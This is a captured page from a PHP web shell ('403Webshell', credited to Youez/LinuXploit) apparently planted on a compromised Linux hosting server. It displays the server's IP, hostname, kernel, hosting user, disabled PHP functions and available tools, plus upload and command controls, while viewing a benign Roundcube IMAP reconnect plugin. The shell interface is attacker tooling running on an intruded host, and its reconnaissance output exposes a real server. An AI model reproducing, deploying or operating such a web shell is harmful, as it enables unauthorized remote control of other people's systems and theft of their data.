403Webshell
Server IP : 176.32.38.42  /  Your IP : 216.73.216.246
Web Server : LiteSpeed
System : Linux ha006.mymail.zone 4.18.0-553.51.1.lve.1.el8.x86_64 #1 SMP Wed May 14 14:34:57 UTC 2025 x86_64
User : s1225329 ( 1835)
PHP Version : 7.4.33
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/roundcube/plugins/reconnect/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/roundcube/plugins/reconnect/reconnect.php
<?php
/**
 * Roundcube Reconnect Plugin
 *
 * @version 0.2
 * @author Sandro Knauß <hefee@debian.org>
 * @license GPLv3+
 */
class reconnect extends rcube_plugin
{
    private $imap_max_attempts;

    /**
     * Plugin initialization
     */
    function init()
    {
        $this->add_hook('storage_connect', [$this, 'storage_connect']);
    }

    /**
     * Storage_connect hook handler
     */
    function storage_connect($args)
    {
        $rcmail = rcmail::get_instance();

        $this->load_config();

        $this->imap_max_attempts = $rcmail->config->get('reconnect_imap_max_attempts', 5);

        $args['retry'] = ($args['attempt'] <= $this->imap_max_attempts);

        if ($args['attempt'] == 1) {
            return $args;
        }

        $storage = rcmail::get_instance()->get_storage();

        switch ($storage->get_error_code()) {
        case rcube_imap_generic::ERROR_NO:
        case rcube_imap_generic::ERROR_BAD:
        case rcube_imap_generic::ERROR_BYE:
            $args['retry'] = false;
            break;
        }

        if ($args['retry']) {
            // if we do a new attempt, sleep 50 to 150ms before retry.
            usleep(rand(50*1000, 150*1000));
        }

        return $args;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit